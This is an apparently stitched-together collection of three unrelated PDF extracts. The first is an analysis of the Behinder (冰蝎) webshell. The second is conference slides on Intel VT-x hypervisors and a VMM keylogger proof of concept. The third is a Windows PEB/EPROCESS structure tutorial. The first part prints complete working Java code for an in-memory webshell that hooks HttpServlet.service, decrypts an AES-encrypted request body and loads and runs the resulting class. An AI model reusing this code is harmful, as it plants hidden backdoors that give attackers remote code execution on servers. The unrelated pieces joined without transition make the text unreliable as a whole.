CtClass[paramClsList.size()]));               cMethod.insertBefore(shellCode);               cClass.detach();               data = cClass.toBytecode();               inst.redefineClasses(new ClassDefinition[]{new ClassDefinition(cls, data)});           } catch (Exception var24) {               var24.printStackTrace();           } catch (Error var25) {               var25.printStackTrace();           }         }     } javax.servlet.http.HttpServletRequest request = (javax.servlet.ServletRequest) $1;        javax.servlet.http.HttpServletResponse response = (javax.servlet.ServletResponse) $2;        javax.servlet.http.HttpSession session = request.getSession();        String pathPattern = "%s";        if (request.getRequestURI().matches(pathPattern)) {            java.util.Map obj = new java.util.HashMap();            obj.put("request", request);            obj.put("response", response);            obj.put("session", session);            ClassLoader loader = this.getClass().getClassLoader();            if (request.getMethod().equals("POST")) {                try {                    String k = "%s";                    session.putValue("u", k);                    java.lang.ClassLoader systemLoader = java.lang.ClassLoader.getSystemClassLoader();                    Class cipherCls = systemLoader.loadClass("javax.crypto.Cipher");                    Object c = cipherCls.getDeclaredMethod("getInstance", new Class[]{String.class}).invoke((java.lang.Object) cipherCls, new Object[] {"AES"});                    Object keyObj = systemLoader.loadClass("javax.crypto.spec.SecretKeySpec").getDeclaredConstructor (new Class[]{byte[].class, String.class}).newInstance(new Object[]{k.getBytes(), "AES"});                   ;                    java.lang.reflect.Method initMethod = cipherCls.getDeclaredMethod("init", new Class[]{int.class, systemLoader.loadClass("java.security.Key")});                    initMethod.invoke(c, new Object[]{new Integer(2), keyObj});                    java.lang.reflect.Method doFinalMethod = cipherCls.getDeclaredMethod("doFinal", new Class[]{byte[].class});                    byte[] requestBody = null;                    try {                        Class Base64 = loader.loadClass("sun.misc.BASE64Decoder");                        Object Decoder = Base64.newInstance();                        requestBody = (byte[]) Decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class}).invoke(Decoder, new Object[]{request.getReader().readLine()});                   } catch (Exception ex) {                        Class Base64 = loader.loadClass("java.util.Base64");                        Object Decoder = Base64.getDeclaredMethod("getDecoder", new Class[0]).invoke(null, new Object[0]);                        requestBody = (byte[]) Decoder.getClass().getMethod("decode", new Class[] {String.class}).invoke(Decoder, new Object[]{request.getReader().readLine()});                   }                    byte[] buf = (byte[]) doFinalMethod.invoke(c, new Object[] {requestBody});                    java.lang.reflect.Method defineMethod = java.lang.ClassLoader.class.getDeclaredMethod("defineClass", new Class[] {String.class, java.nio.ByteBuffer.class, java.security.ProtectionDomain.class});                    defineMethod.setAccessible(true);                    java.lang.reflect.Constructor constructor = java.security.SecureClassLoader.class.getDeclaredConstructor(new Class[] {java.lang.ClassLoader.class});                    constructor.setAccessible(true);                    java.lang.ClassLoader cl = (java.lang.ClassLoader) constructor.newInstance(new Object[]{loader}); 新建一个 servlet ,然后 Hook HttpServlet                    java.lang.Class c = (java.lang.Class) defineMethod.invoke((java.lang.Object) cl, new Object[]{null, java.nio.ByteBuffer.wrap(buf), null});                    c.newInstance().equals(obj);               } catch (java.lang.Exception e) {                    e.printStackTrace();               } catch (java.lang.Error error) {                    error.printStackTrace();               }                return;           }       } public class agentMemshell extends HttpServlet {    @Override    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {        String shellCode = "javax.servlet.http.HttpServletRequest request= (javax.servlet.ServletRequest)$1;\njavax.servlet.http.HttpServletResponse response = (javax.servlet.ServletResponse)$2;\njavax.servlet.http.HttpSession session = request.getSession();\nString pathPattern=\"%s\";\nif (request.getRequestURI().matches(pathPattern))\n{\n\tjava.util.Map obj=new java.util.HashMap();\n\tobj.put(\"request\",request);\n\tobj.put(\"response\",re sponse);\n\tobj.put(\"session\",session);\n   ClassLoader loader=this.getClass().getClassLoader();\n\tif (request.getMethod().equals(\"POST\"))\n\t{\n\t\ttry\n\t\t{\n\t\t\tString k=\"%s\";\n\t\t\tsession.putValue(\"u\",k);\n\t\t\t\n\t\t\tjava.lang.ClassLoader systemLoader=java.lang.ClassLoader.getSystemClassLoader();\n\t\t\tClass cipherCls=systemLoader.loadClass(\"javax.crypto.Cipher\");\n\n\t\t\tObject c=cipherCls.getDeclaredMethod(\"getInstance\",new Class[] {String.class}).invoke((java.lang.Object)cipherCls,new Object[] {\"AES\"});\n\t\t\tObject keyObj=systemLoader.loadClass(\"javax.crypto.spec.SecretKeySpec\").getDeclaredCo nstructor(new Class[]{byte[].class,String.class}).newInstance(new Object[] {k.getBytes(),\"AES\"});;\n\t\t\t       \n\t\t\tjava.lang.reflect.Method initMethod=cipherCls.getDeclaredMethod(\"init\",new Class[] {int.class,systemLoader.loadClass(\"java.security.Key\")});\n\t\t\tinitMethod.in voke(c,new Object[]{new Integer(2),keyObj});\n\n\t\t\tjava.lang.reflect.Method doFinalMethod=cipherCls.getDeclaredMethod(\"doFinal\",new Class[] {byte[].class});\n           byte[] requestBody=null;\n           try {\n                   Class Base64 = loader.loadClass(\"sun.misc.BASE64Decoder\");\n\t\t\t       Object Decoder = Base64.newInstance();\n                   requestBody= (byte[]) Decoder.getClass().getMethod(\"decodeBuffer\", new Class[] {String.class}).invoke(Decoder, new Object[]{request.getReader().readLine()});\n               } catch (Exception ex) \n               {\n                   Class Base64 = loader.loadClass(\"java.util.Base64\");\n                   Object Decoder = Base64.getDeclaredMethod(\"getDecoder\",new Class[0]).invoke(null, new Object[0]);\n                   requestBody= (byte[])Decoder.getClass().getMethod(\"decode\", new Class[] {String.class}).invoke(Decoder, new Object[]{request.getReader().readLine()});\n               }\n\t\t\t\t\t\t\n\t\t\tbyte[] buf= (byte[])doFinalMethod.invoke(c,new Object[] {requestBody});\n\t\t\tjava.lang.reflect.Method defineMethod=java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[] {String.class,java.nio.ByteBuffer.class,java.security.ProtectionDomain.class});\ n\t\t\tdefineMethod.setAccessible(true);\n\t\t\tjava.lang.reflect.Constructor constructor=java.security.SecureClassLoader.class.getDeclaredConstructor(new Class[] {java.lang.ClassLoader.class});\n\t\t\tconstructor.setAccessible(true);\n\t\t\tj ava.lang.ClassLoader cl=(java.lang.ClassLoader)constructor.newInstance(new Object[]{loader});\n\t\t\tjava.lang.Class c= (java.lang.Class)defineMethod.invoke((java.lang.Object)cl,new Object[] {null,java.nio.ByteBuffer.wrap(buf),null});\n\t\t\tc.newInstance().equals(obj);\ n\t\t}\n\n\t\tcatch(java.lang.Exception e)\n\t\t{\n\t\t   e.printStackTrace();\n\t\t}\n\t\tcatch(java.lang.Error error)\n\t\t{\n\t\terror.printStackTrace();\n\t\t}\n\t\treturn;\n\t}\t\n}\n";        Map targetClasses = new HashMap();        Map targetClassJavaxMap = new HashMap();        targetClassJavaxMap.put("methodName", "service");        List paramJavaxClsStrList = new ArrayList();        paramJavaxClsStrList.add("javax.servlet.ServletRequest");        paramJavaxClsStrList.add("javax.servlet.ServletResponse");        targetClassJavaxMap.put("paramList", paramJavaxClsStrList);        targetClasses.put("javax.servlet.http.HttpServlet", targetClassJavaxMap);        targetClasses.put("javax.servlet.http.HttpServlet", targetClassJavaxMap);        Class<?> cls = null;        try {            ClassPool cPool = ClassPool.getDefault();            cls = Class.forName("javax.servlet.http.HttpServlet");            String targetClassName = cls.getName();            ClassClassPath classPath = new ClassClassPath(cls);            cPool.insertClassPath(classPath);            cPool.importPackage("java.lang.reflect.Method");            cPool.importPackage("javax.crypto.Cipher");            List paramClsList = new ArrayList();            Iterator var21 = ((List) ((Map)targetClasses.get(targetClassName)).get("paramList")).iterator();            String methodName;            while(var21.hasNext()) {                methodName = (String)var21.next();                paramClsList.add(cPool.get(methodName));           }            CtClass cClass = cPool.get(targetClassName);            methodName = ((Map)targetClasses.get(targetClassName)).get("methodName").toString();            CtMethod cMethod = cClass.getDeclaredMethod(methodName, (CtClass[])paramClsList.toArray(new CtClass[paramClsList.size()]));            cMethod.insertBefore(shellCode);            cClass.detach();            byte[] data = new byte[0];            data = cClass.toBytecode();            byteToFile(data);       } catch (ClassNotFoundException | NotFoundException | CannotCompileException e) {            e.printStackTrace();       }   }    public static void byteToFile(byte[] bytes) throws IOException{  //字节转文件        if(bytes.length == 0){            return;       }        File file = new File("D:\\Java\\tomcat\\apache-tomcat-8.5.68- src\\java\\lagou\\edu\\servlet\\httpServelt.class");        FileOutputStream fileOutputStream = new FileOutputStream(file);        BufferedOutputStream bufferedOutputStream = new BufferedOutputStream(fileOutputStream);        bufferedOutputStream.write(bytes);        bufferedOutputStream.close();        fileOutputStream.close();   } } 文件对比 HttpServlet 在实现 Servlet 接口时,覆写了 service 方法,该方法体内的代码会自动判断 用户的请求方式,如为 GET 请求,则调用 HttpServlet 的 doGet 方法,如为 Post 请求,则 调用 doPost 方法。因此,开发人员在编写 Servlet 时,通常只需要覆写 doGet 或 doPost 方 法,而不要去覆写 service 方法,此处通过 Hook HttpServlet 修改了代码的执行逻辑,之后每 次访问 servlet 都会先触发 webshell 。到此内存马的内容基本分析完了,整个冰蝎的源码也有 了一个大概的了解。
pdf
王大寶, PK 虛擬機 - 惡意程式攻防的新戰場  講師簡介 王大寶, 小時候大家叫他王小寶,長大後就稱王大寶,目前隸 屬一神祕單位. 雖然佯稱興趣在看書與聽音樂, 但是其實晚 上都在打Game. 長期於系統最底層打滾,熟悉ASM,C/C++, 對於資安毫無任何興趣,也無經驗,純粹是被某壞人騙上台, 可以說是不可多得的素人講師!!  議程大綱: 現今的 CPU 都支援虛擬化專用指令集, 讓 VM 獲得硬體的 支援. 在這個場次中,我們將詳細地介紹 Intel 的 VT指令集 與其 Hypervisor 運作的機制. 此外我們將並介紹在惡意軟 體研究領域中在 Hypervisor 模式下能有哪些應用,包含惡意 程式技術與偵防分析的應用. 最後我們將介紹自行開發能在 Hypervisor 模式下運作的 Malware POC, 而且是無法被目 前防毒與防護系統偵測到! Agenda  VMM on x86  Hardware assisted architecture  VMM software implementing  Security & VMM What is VMM  Has full control over the platform  A thin layer between the physical hardware and virtualized environment  Be able to retain selective control from guest software  The real world 現實是殘酷的, 從VM中醒過來不一定是好事 … :P What is VMM (conti.) Guest OS 1 Guest OS 2 VMM Physical Processor Types of Hypervisors Intel® VT-x  Introduced by Intel®  Includes a new set of instructions  Totally isolated environments for each guest  Solved many problems which were caused by guest OS executing at the same level of host OS  Provides better performance than byte code emulation Keywords  VMM runs at VMX root operation  Guest software runs at VMX non-root operation  Transition from VMM to guest software is called VM entry  Transition from guest software to VMM is called VM exit VMX root operation  Check CPU capabilities mov eax, 1 cpuid test ecx, 20h VMX – Virtual Machine Extensions 5 VMX root operation (conti.)  Prepare a non-pageable memory (VMXON Region)  storage of host context  aligned to 4KB  in MTRR range – Write Back (type 6)  size = MSR#480 [43:32]  rev_id = MSR#480 [31:0] 31 0 rev_id 43 VMXON Region Size 32 VMX root operation (conti.)  Enable VMXE bit (bit13) in CR4 mov eax, cr4 or eax, Bit13 mov cr4, eax 13 VMXE – Virtual Machine Extensions Enabled VMX root operation (conti.)  VMXON instruction vmxon phymem_vmxon_region  Hello, real world… VMX non-root operation  Prepare a non-pageable memory (VMCS)  storage of guest software states  aligned to 4KB  in MTRR range – Write Back (type 6)  size = MSR#480 [43:32]  rev_id = MSR#480 [31:0] VMX non-root operation (conti.)  Instructions to initialize VMCS  VMCLEAR, VMPTRLD  VMCLEAR  Initialize the new VMCS region in memory  Set the launch state to “clear”  Invalidates the working VMCS pointer register  VMPTRLD  Initializes the working VMCS pointer with the new VMCS region's physical address.  Validates the working VMCS pointer register VMX non-root operation (conti.)  Instructions to access specific field of VMCS  VMWRITE, VMREAD  Each field has its encoding  Example: ○ GUEST_RIP = 681eh ○ To set GUEST_RIP into VMCS: mov eax, 681eh vmwrite eax, dword ptr NEW_GUEST_RIP ○ To get GUEST_RIP from VMCS: mov eax, 681eh vmread ebx, eax VMX non-root operation (conti.)  Now it is time to run guest software  VMLAUNCH, VMRESUME  Launch state of VMCS will be set to “launched” VMM, VMCS, Guest OS CPU#A CPU#B VMXON Region #A VMCS #1A VMCS #2A VMXON Region #B VMCS #1B VMCS #2B Guest OS 1 Guest OS 2 VM exit handling  VMM gets VM exit reason from VMCS, determines handle it or not Bit Position(s) Contents 15:0 Basic exit reason 27:16 Reserved (cleared to 0) 28 Pending MTF VM exit 29 VM exit from VMX root operation 30 Reserved (cleared to 0) 31 VM-entry failure (0 = true VM exit; 1 = VM-entry failure) VM exit handling (conti.)  VM exit basic reasons  > 50  Sensitive instructions  Privilege registers change  Exceptions  …  Exit qualification contains additional information  Execute VMRESUME after handled VM exit Lifecycle of a VMM software VMXON VMM Guest VMXOFF VMM Lives VM Entry VM Exit System VMs IA-32 Operation VT-x Operations Ring 0 Ring 3 VMX Root Operation VMX Non-root Operation . . . Ring 0 Ring 3 VM 1 Ring 0 Ring 3 VM 2 Ring 0 Ring 3 VM n VMXON VMLAUNCH VMRESUME VM Exit VMCS 2 VMCS n VMCS 1 Security & VMM  VMM is transparent to its guests  A well-implemented VMM is very hard to be detected  Almost all VMM-detection technologies in present are based on flaws of VMM itself  A positive usage of VMM could be a very powerful weapon against various attacks of malwares  So could be in either way…  But… Security & VMM (conti.)  Difficulties in implementing VMM  No OS API  No existed input/output  No existed drivers  Developers implement everything in VMM ○ Disk read/write ○ Keyboard input/output ○ Control video RAM for output ○ Direct manipulation on NIC, USB stack VMX vs. SMM  In a software developer’s aspect, VMX operation is very similar to SMM  Transparent to client  Has processor context storage  Full control over system  Isolated environment, DIY everything  Differences  SMM is triggered by hardware  SMM has higher priority than VMX  SMM is not accessible at runtime Malware and VMM  How to detect or analysis Kernel Malware ?? User mode Malware Kernel mode Malware Kernel Behavior Monitor ??? Demo 1: Invisible VMM Keylogger  A handcrafted key logger in VMM  Capture KB input from I/O port  Hidden File in Guest OS File system !  Definitely invisible…Ya  ○ Cant be detected by any Anti-Virus or HIPS in the world File System Implemented in VMM hitkey2010 has been saved to disk VMM Keylogger Demo2: Rootkit Detection  Physical Memory Forensics with VMM !!  EPROCESS parsing  SSDT parsing  Etc.  Demo our new toy VMM on Forensic Approach Found a process that hidden by Fu rootkit Q&A Reference  Intel ®64 and IA-32 Architectures Software Developer's Manual Vol.2, Vol.3  http://code.google.com/p/hyperdbg/  http://virtualizationtechnologyvt.blogspot.com/  http://www.ibm.com/developerworks/cn/linux/l- cn-vt/index.html  http://www.invisiblethingslab.com/
pdf
PEB、TEB详解 PEB PEB中文名为进程环境块,里面存储了像映像加载程序、堆管理器以及其他windows组件需要从用户 模式访问的信息。在介绍PEB之前我们先来看一下进程内部的结构,以此来更好的了解PEB。 每个windows进程都可以用一种执行体进程(EPROCESS)进程来表示。EPROCESS及其大部分相关数据 结构都位于系统地址空间中。唯一的例外就是PEB,它位于用户地址空间中。对于每个执行了的 windows程序的进程,windows子系统进程(Csrss)维护了名为CSR_PROCESS的平行结构,另外 windows子系统(win32k.sys)的内核模式部分还为每个进程维护了名为W32PROCESS的数据结构,这是 现成首次调用windows并在内核模式中实现USER或GUI函数时创建的。该操作会在加载User32.dll库时 执行。一般加载该库的函数为CreateWindow和GetMessage。 执行体进程结构的第一个成员名为进程控制块(PCB),这是一种KPROCESS结构,其中的分发器、调度 器、中断时间等使用了KPROCESS。 查看EPROCESS结构 在windbg中,我们可以使用下面的命令来查看其结构: 得到 dt nt!_eprocess lkd> dt nt!_eprocess   +0x000 Pcb             : _KPROCESS   +0x438 ProcessLock     : _EX_PUSH_LOCK   +0x440 UniqueProcessId : Ptr64 Void   +0x448 ActiveProcessLinks : _LIST_ENTRY   +0x458 RundownProtect   : _EX_RUNDOWN_REF   +0x460 Flags2           : Uint4B   +0x460 JobNotReallyActive : Pos 0, 1 Bit   +0x460 AccountingFolded : Pos 1, 1 Bit   +0x460 NewProcessReported : Pos 2, 1 Bit   +0x460 ExitProcessReported : Pos 3, 1 Bit   +0x460 ReportCommitChanges : Pos 4, 1 Bit   +0x460 LastReportMemory : Pos 5, 1 Bit   +0x460 ForceWakeCharge : Pos 6, 1 Bit   +0x460 CrossSessionCreate : Pos 7, 1 Bit   +0x460 NeedsHandleRundown : Pos 8, 1 Bit   +0x460 RefTraceEnabled : Pos 9, 1 Bit   +0x460 PicoCreated     : Pos 10, 1 Bit   +0x460 EmptyJobEvaluated : Pos 11, 1 Bit   +0x460 DefaultPagePriority : Pos 12, 3 Bits   +0x460 PrimaryTokenFrozen : Pos 15, 1 Bit   +0x460 ProcessVerifierTarget : Pos 16, 1 Bit   +0x460 RestrictSetThreadContext : Pos 17, 1 Bit   +0x460 AffinityPermanent : Pos 18, 1 Bit   +0x460 AffinityUpdateEnable : Pos 19, 1 Bit   +0x460 PropagateNode   : Pos 20, 1 Bit   +0x460 ExplicitAffinity : Pos 21, 1 Bit   +0x460 ProcessExecutionState : Pos 22, 2 Bits   +0x460 EnableReadVmLogging : Pos 24, 1 Bit   +0x460 EnableWriteVmLogging : Pos 25, 1 Bit   +0x460 FatalAccessTerminationRequested : Pos 26, 1 Bit   +0x460 DisableSystemAllowedCpuSet : Pos 27, 1 Bit   +0x460 ProcessStateChangeRequest : Pos 28, 2 Bits   +0x460 ProcessStateChangeInProgress : Pos 30, 1 Bit   +0x460 InPrivate       : Pos 31, 1 Bit   +0x464 Flags           : Uint4B   +0x464 CreateReported   : Pos 0, 1 Bit   +0x464 NoDebugInherit   : Pos 1, 1 Bit   +0x464 ProcessExiting   : Pos 2, 1 Bit   +0x464 ProcessDelete   : Pos 3, 1 Bit   +0x464 ManageExecutableMemoryWrites : Pos 4, 1 Bit   +0x464 VmDeleted       : Pos 5, 1 Bit   +0x464 OutswapEnabled   : Pos 6, 1 Bit   +0x464 Outswapped       : Pos 7, 1 Bit   +0x464 FailFastOnCommitFail : Pos 8, 1 Bit   +0x464 Wow64VaSpace4Gb : Pos 9, 1 Bit   +0x464 AddressSpaceInitialized : Pos 10, 2 Bits   +0x464 SetTimerResolution : Pos 12, 1 Bit   +0x464 BreakOnTermination : Pos 13, 1 Bit   +0x464 DeprioritizeViews : Pos 14, 1 Bit   +0x464 WriteWatch       : Pos 15, 1 Bit   +0x464 ProcessInSession : Pos 16, 1 Bit   +0x464 OverrideAddressSpace : Pos 17, 1 Bit   +0x464 HasAddressSpace : Pos 18, 1 Bit   +0x464 LaunchPrefetched : Pos 19, 1 Bit   +0x464 Background       : Pos 20, 1 Bit   +0x464 VmTopDown       : Pos 21, 1 Bit   +0x464 ImageNotifyDone : Pos 22, 1 Bit   +0x464 PdeUpdateNeeded : Pos 23, 1 Bit   +0x464 VdmAllowed       : Pos 24, 1 Bit   +0x464 ProcessRundown   : Pos 25, 1 Bit   +0x464 ProcessInserted : Pos 26, 1 Bit   +0x464 DefaultIoPriority : Pos 27, 3 Bits   +0x464 ProcessSelfDelete : Pos 30, 1 Bit   +0x464 SetTimerResolutionLink : Pos 31, 1 Bit   +0x468 CreateTime       : _LARGE_INTEGER   +0x470 ProcessQuotaUsage : [2] Uint8B   +0x480 ProcessQuotaPeak : [2] Uint8B   +0x490 PeakVirtualSize : Uint8B   +0x498 VirtualSize     : Uint8B   +0x4a0 SessionProcessLinks : _LIST_ENTRY   +0x4b0 ExceptionPortData : Ptr64 Void   +0x4b0 ExceptionPortValue : Uint8B   +0x4b0 ExceptionPortState : Pos 0, 3 Bits   +0x4b8 Token           : _EX_FAST_REF   +0x4c0 MmReserved       : Uint8B   +0x4c8 AddressCreationLock : _EX_PUSH_LOCK   +0x4d0 PageTableCommitmentLock : _EX_PUSH_LOCK   +0x4d8 RotateInProgress : Ptr64 _ETHREAD   +0x4e0 ForkInProgress   : Ptr64 _ETHREAD   +0x4e8 CommitChargeJob : Ptr64 _EJOB   +0x4f0 CloneRoot       : _RTL_AVL_TREE   +0x4f8 NumberOfPrivatePages : Uint8B   +0x500 NumberOfLockedPages : Uint8B   +0x508 Win32Process     : Ptr64 Void   +0x510 Job             : Ptr64 _EJOB   +0x518 SectionObject   : Ptr64 Void   +0x520 SectionBaseAddress : Ptr64 Void   +0x528 Cookie           : Uint4B   +0x530 WorkingSetWatch : Ptr64 _PAGEFAULT_HISTORY   +0x538 Win32WindowStation : Ptr64 Void   +0x540 InheritedFromUniqueProcessId : Ptr64 Void   +0x548 OwnerProcessId   : Uint8B   +0x550 Peb             : Ptr64 _PEB   +0x558 Session         : Ptr64 _MM_SESSION_SPACE   +0x560 Spare1           : Ptr64 Void   +0x568 QuotaBlock       : Ptr64 _EPROCESS_QUOTA_BLOCK   +0x570 ObjectTable     : Ptr64 _HANDLE_TABLE   +0x578 DebugPort       : Ptr64 Void   +0x580 WoW64Process     : Ptr64 _EWOW64PROCESS   +0x588 DeviceMap       : Ptr64 Void   +0x590 EtwDataSource   : Ptr64 Void   +0x598 PageDirectoryPte : Uint8B   +0x5a0 ImageFilePointer : Ptr64 _FILE_OBJECT   +0x5a8 ImageFileName   : [15] UChar   +0x5b7 PriorityClass   : UChar   +0x5b8 SecurityPort     : Ptr64 Void   +0x5c0 SeAuditProcessCreationInfo : _SE_AUDIT_PROCESS_CREATION_INFO   +0x5c8 JobLinks         : _LIST_ENTRY   +0x5d8 HighestUserAddress : Ptr64 Void   +0x5e0 ThreadListHead   : _LIST_ENTRY   +0x5f0 ActiveThreads   : Uint4B   +0x5f4 ImagePathHash   : Uint4B   +0x5f8 DefaultHardErrorProcessing : Uint4B   +0x5fc LastThreadExitStatus : Int4B   +0x600 PrefetchTrace   : _EX_FAST_REF   +0x608 LockedPagesList : Ptr64 Void   +0x610 ReadOperationCount : _LARGE_INTEGER   +0x618 WriteOperationCount : _LARGE_INTEGER   +0x620 OtherOperationCount : _LARGE_INTEGER   +0x628 ReadTransferCount : _LARGE_INTEGER   +0x630 WriteTransferCount : _LARGE_INTEGER   +0x638 OtherTransferCount : _LARGE_INTEGER   +0x640 CommitChargeLimit : Uint8B   +0x648 CommitCharge     : Uint8B   +0x650 CommitChargePeak : Uint8B   +0x680 Vm               : _MMSUPPORT_FULL   +0x7c0 MmProcessLinks   : _LIST_ENTRY   +0x7d0 ModifiedPageCount : Uint4B   +0x7d4 ExitStatus       : Int4B   +0x7d8 VadRoot         : _RTL_AVL_TREE   +0x7e0 VadHint         : Ptr64 Void   +0x7e8 VadCount         : Uint8B   +0x7f0 VadPhysicalPages : Uint8B   +0x7f8 VadPhysicalPagesLimit : Uint8B   +0x800 AlpcContext     : _ALPC_PROCESS_CONTEXT   +0x820 TimerResolutionLink : _LIST_ENTRY   +0x830 TimerResolutionStackRecord : Ptr64 _PO_DIAG_STACK_RECORD   +0x838 RequestedTimerResolution : Uint4B   +0x83c SmallestTimerResolution : Uint4B   +0x840 ExitTime         : _LARGE_INTEGER   +0x848 InvertedFunctionTable : Ptr64 _INVERTED_FUNCTION_TABLE   +0x850 InvertedFunctionTableLock : _EX_PUSH_LOCK   +0x858 ActiveThreadsHighWatermark : Uint4B   +0x85c LargePrivateVadCount : Uint4B   +0x860 ThreadListLock   : _EX_PUSH_LOCK   +0x868 WnfContext       : Ptr64 Void   +0x870 ServerSilo       : Ptr64 _EJOB   +0x878 SignatureLevel   : UChar   +0x879 SectionSignatureLevel : UChar   +0x87a Protection       : _PS_PROTECTION   +0x87b HangCount       : Pos 0, 3 Bits   +0x87b GhostCount       : Pos 3, 3 Bits   +0x87b PrefilterException : Pos 6, 1 Bit   +0x87c Flags3           : Uint4B   +0x87c Minimal         : Pos 0, 1 Bit   +0x87c ReplacingPageRoot : Pos 1, 1 Bit   +0x87c Crashed         : Pos 2, 1 Bit   +0x87c JobVadsAreTracked : Pos 3, 1 Bit   +0x87c VadTrackingDisabled : Pos 4, 1 Bit   +0x87c AuxiliaryProcess : Pos 5, 1 Bit   +0x87c SubsystemProcess : Pos 6, 1 Bit   +0x87c IndirectCpuSets : Pos 7, 1 Bit   +0x87c RelinquishedCommit : Pos 8, 1 Bit   +0x87c HighGraphicsPriority : Pos 9, 1 Bit   +0x87c CommitFailLogged : Pos 10, 1 Bit   +0x87c ReserveFailLogged : Pos 11, 1 Bit   +0x87c SystemProcess   : Pos 12, 1 Bit   +0x87c HideImageBaseAddresses : Pos 13, 1 Bit   +0x87c AddressPolicyFrozen : Pos 14, 1 Bit   +0x87c ProcessFirstResume : Pos 15, 1 Bit   +0x87c ForegroundExternal : Pos 16, 1 Bit   +0x87c ForegroundSystem : Pos 17, 1 Bit   +0x87c HighMemoryPriority : Pos 18, 1 Bit   +0x87c EnableProcessSuspendResumeLogging : Pos 19, 1 Bit   +0x87c EnableThreadSuspendResumeLogging : Pos 20, 1 Bit   +0x87c SecurityDomainChanged : Pos 21, 1 Bit   +0x87c SecurityFreezeComplete : Pos 22, 1 Bit   +0x87c VmProcessorHost : Pos 23, 1 Bit   +0x87c VmProcessorHostTransition : Pos 24, 1 Bit   +0x87c AltSyscall       : Pos 25, 1 Bit   +0x87c TimerResolutionIgnore : Pos 26, 1 Bit   +0x87c DisallowUserTerminate : Pos 27, 1 Bit   +0x880 DeviceAsid       : Int4B   +0x888 SvmData         : Ptr64 Void   +0x890 SvmProcessLock   : _EX_PUSH_LOCK 可以看到第一个结构PCB为KPROCESS结构:   +0x898 SvmLock         : Uint8B   +0x8a0 SvmProcessDeviceListHead : _LIST_ENTRY   +0x8b0 LastFreezeInterruptTime : Uint8B   +0x8b8 DiskCounters     : Ptr64 _PROCESS_DISK_COUNTERS   +0x8c0 PicoContext     : Ptr64 Void   +0x8c8 EnclaveTable     : Ptr64 Void   +0x8d0 EnclaveNumber   : Uint8B   +0x8d8 EnclaveLock     : _EX_PUSH_LOCK   +0x8e0 HighPriorityFaultsAllowed : Uint4B   +0x8e8 EnergyContext   : Ptr64 _PO_PROCESS_ENERGY_CONTEXT   +0x8f0 VmContext       : Ptr64 Void   +0x8f8 SequenceNumber   : Uint8B   +0x900 CreateInterruptTime : Uint8B   +0x908 CreateUnbiasedInterruptTime : Uint8B   +0x910 TotalUnbiasedFrozenTime : Uint8B   +0x918 LastAppStateUpdateTime : Uint8B   +0x920 LastAppStateUptime : Pos 0, 61 Bits   +0x920 LastAppState     : Pos 61, 3 Bits   +0x928 SharedCommitCharge : Uint8B   +0x930 SharedCommitLock : _EX_PUSH_LOCK   +0x938 SharedCommitLinks : _LIST_ENTRY   +0x948 AllowedCpuSets   : Uint8B   +0x950 DefaultCpuSets   : Uint8B   +0x948 AllowedCpuSetsIndirect : Ptr64 Uint8B   +0x950 DefaultCpuSetsIndirect : Ptr64 Uint8B   +0x958 DiskIoAttribution : Ptr64 Void   +0x960 DxgProcess       : Ptr64 Void   +0x968 Win32KFilterSet : Uint4B   +0x970 ProcessTimerDelay : _PS_INTERLOCKED_TIMER_DELAY_VALUES   +0x978 KTimerSets       : Uint4B   +0x97c KTimer2Sets     : Uint4B   +0x980 ThreadTimerSets : Uint4B   +0x988 VirtualTimerListLock : Uint8B   +0x990 VirtualTimerListHead : _LIST_ENTRY   +0x9a0 WakeChannel     : _WNF_STATE_NAME   +0x9a0 WakeInfo         : _PS_PROCESS_WAKE_INFORMATION   +0x9d0 MitigationFlags : Uint4B   +0x9d0 MitigationFlagsValues : <anonymous-tag>   +0x9d4 MitigationFlags2 : Uint4B   +0x9d4 MitigationFlags2Values : <anonymous-tag>   +0x9d8 PartitionObject : Ptr64 Void   +0x9e0 SecurityDomain   : Uint8B   +0x9e8 ParentSecurityDomain : Uint8B   +0x9f0 CoverageSamplerContext : Ptr64 Void   +0x9f8 MmHotPatchContext : Ptr64 Void   +0xa00 DynamicEHContinuationTargetsTree : _RTL_AVL_TREE   +0xa08 DynamicEHContinuationTargetsLock : _EX_PUSH_LOCK   +0xa10 DynamicEnforcedCetCompatibleRanges : _PS_DYNAMIC_ENFORCED_ADDRESS_RANGES   +0xa20 DisabledComponentFlags : Uint4B lkd> dt nt!_kprocess   +0x000 Header           : _DISPATCHER_HEADER   +0x018 ProfileListHead : _LIST_ENTRY   +0x028 DirectoryTableBase : Uint8B   +0x030 ThreadListHead   : _LIST_ENTRY   +0x040 ProcessLock     : Uint4B   +0x044 ProcessTimerDelay : Uint4B   +0x048 DeepFreezeStartTime : Uint8B   +0x050 Affinity         : _KAFFINITY_EX   +0x0f8 AffinityPadding : [12] Uint8B   +0x158 ReadyListHead   : _LIST_ENTRY   +0x168 SwapListEntry   : _SINGLE_LIST_ENTRY   +0x170 ActiveProcessors : _KAFFINITY_EX   +0x218 ActiveProcessorsPadding : [12] Uint8B   +0x278 AutoAlignment   : Pos 0, 1 Bit   +0x278 DisableBoost     : Pos 1, 1 Bit   +0x278 DisableQuantum   : Pos 2, 1 Bit   +0x278 DeepFreeze       : Pos 3, 1 Bit   +0x278 TimerVirtualization : Pos 4, 1 Bit   +0x278 CheckStackExtents : Pos 5, 1 Bit   +0x278 CacheIsolationEnabled : Pos 6, 1 Bit   +0x278 PpmPolicy       : Pos 7, 3 Bits   +0x278 VaSpaceDeleted   : Pos 10, 1 Bit   +0x278 ReservedFlags   : Pos 11, 21 Bits   +0x278 ProcessFlags     : Int4B   +0x27c ActiveGroupsMask : Uint4B   +0x280 BasePriority     : Char   +0x281 QuantumReset     : Char   +0x282 Visited         : Char   +0x283 Flags           : _KEXECUTE_OPTIONS   +0x284 ThreadSeed       : [20] Uint2B   +0x2ac ThreadSeedPadding : [12] Uint2B   +0x2c4 IdealProcessor   : [20] Uint2B   +0x2ec IdealProcessorPadding : [12] Uint2B   +0x304 IdealNode       : [20] Uint2B   +0x32c IdealNodePadding : [12] Uint2B   +0x344 IdealGlobalNode : Uint2B   +0x346 Spare1           : Uint2B   +0x348 StackCount       : _KSTACK_COUNT   +0x350 ProcessListEntry : _LIST_ENTRY   +0x360 CycleTime       : Uint8B   +0x368 ContextSwitches : Uint8B   +0x370 SchedulingGroup : Ptr64 _KSCHEDULING_GROUP   +0x378 FreezeCount     : Uint4B   +0x37c KernelTime       : Uint4B   +0x380 UserTime         : Uint4B   +0x384 ReadyTime       : Uint4B   +0x388 